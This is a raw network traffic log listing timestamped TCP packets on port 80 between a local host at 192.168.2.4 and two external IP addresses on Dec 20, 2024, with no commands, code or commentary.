Dec 20, 2024 11:12:43.994174004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.994837046 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.995839119 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.995896101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:43.995968103 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:43.996020079 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.001888037 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.002017975 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.002049923 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.002078056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.007977962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.008080959 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.008148909 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.014014006 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.014111996 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.014125109 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.014170885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.020036936 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.020112991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.020178080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.026062965 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.026137114 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.026184082 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.026216030 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.032111883 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.032228947 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.032293081 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.038173914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.038224936 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.038407087 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.038630962 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.044219017 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.044272900 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.049684048 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:44.050062895 CET	49860	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:44.061718941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.061774969 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.061866045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.061968088 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.063472986 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.063522100 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.063604116 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.063657999 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.066926956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.067034960 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.067156076 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.067244053 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.070354939 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.070416927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.070463896 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.070522070 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.073740005 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.073853016 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.073873997 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.073903084 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.077090979 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.077183008 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.077225924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.077339888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.080461979 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.080530882 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.080596924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.080724001 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.083925962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.083977938 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.083997011 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.084026098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.087285042 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.087377071 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.087388039 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.087621927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.090609074 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.090727091 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.090797901 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.093920946 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.094163895 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.118223906 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.118294954 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.118330956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.118762970 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.121592045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.121651888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.121700048 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.121759892 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.123328924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.123420954 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.123426914 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.123473883 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.126653910 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.126705885 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.127895117 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.127944946 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.127999067 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.128041983 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.131334066 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.131361008 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.131400108 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.131401062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.134646893 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.134768009 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.134772062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.135401964 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.138009071 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.138067961 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.138070107 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.138133049 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.169492960 CET	80	49839	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:44.169584036 CET	80	49860	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:44.169616938 CET	49839	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:44.169709921 CET	49860	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:44.169907093 CET	49860	80	192.168.2.4	185.215.113.43
Dec 20, 2024 11:12:44.186456919 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.186525106 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.186579943 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.186635971 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.187961102 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.188045025 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.188661098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.188694954 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.188752890 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.191656113 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.191724062 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.191785097 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.191833973 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.194993973 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.195166111 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.195211887 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.195261002 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.197833061 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.197896004 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.197967052 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.198097944 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.200915098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.201054096 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.201114893 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.203923941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.203993082 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.204087019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.204224110 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.206854105 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.206907034 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.206907988 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.206960917 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.209592104 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.209700108 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.209749937 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.209825993 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.212169886 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.212244987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.212301016 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.212378979 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.214759111 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.214813948 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.214894056 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.214951038 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.217309952 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.217361927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.217410088 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.217457056 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.219830036 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.219881058 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.219907045 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.219949961 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.222278118 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.222327948 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.222362041 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.222402096 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.224741936 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.224793911 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.224852085 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.224967003 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.227241039 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.227288008 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.253964901 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.254029989 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.254071951 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.254113913 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.254944086 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.254998922 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.255022049 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.255091906 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.256485939 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.256536007 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.256592989 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.256668091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.258505106 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.258558989 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.258591890 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.258630991 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.260540962 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.260596991 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.260621071 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.260704041 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.262540102 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.262593985 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.262666941 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.262716055 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.264422894 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.264477968 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.264637947 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.264698982 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.266376019 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.266423941 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.266458035 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.266505003 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.268321991 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.268383980 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.268424988 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.268465042 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.270278931 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.270332098 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.270407915 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.270457983 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.272192955 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.272264004 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.272288084 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.272337914 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.274147034 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.274199009 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.274240017 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.274291039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.276098967 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.276148081 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.276228905 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.276336908 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.278063059 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.278114080 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.278148890 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.278247118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.279968023 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.280016899 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.280045033 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.280097008 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.281898975 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.281950951 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.282134056 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.282224894 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.283824921 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.283905029 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.283952951 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.284001112 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.285712957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.285773039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.285813093 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.285865068 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.287689924 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.287750006 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.287777901 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.287822008 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.289360046 CET	80	49860	185.215.113.43	192.168.2.4
Dec 20, 2024 11:12:44.289680004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.289729118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.289753914 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.289800882 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.291527033 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.291577101 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.310565948 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.310625076 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.310668945 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.310827017 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.311537981 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.311588049 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.311602116 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.311654091 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.313451052 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.313508987 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.313549042 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.313857079 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.315368891 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.315423965 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.315498114 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.315543890 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.317306995 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.317347050 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.317357063 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.317390919 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.319241047 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.319293022 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.319417000 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.319463968 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.321213007 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.321263075 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.321304083 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.321365118 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.323173046 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.323302031 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.323323965 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.323348045 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.325048923 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.325114012 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.325148106 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.325196028 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.327018023 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.327117920 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.327151060 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.327199936 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.329005957 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.329058886 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.329083920 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.329128027 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.330885887 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.330971956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.331013918 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.332823038 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.332937956 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.332989931 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.378690004 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.378739119 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.378745079 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.378779888 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.379617929 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.379698038 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.379739046 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.379791021 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.381572008 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.381625891 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.381673098 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.381725073 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.383506060 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.383560896 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.383620977 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.383686066 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.385447025 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.385500908 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.385548115 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.385612965 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.387383938 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.387445927 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.387470007 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.387517929 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.389355898 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.389425039 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.389507055 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.389558077 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.391256094 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.391329050 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.391369104 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.391434908 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:44.393121958 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:44.393174887 CET	49846	80	192.168.2.4	185.215.113.206
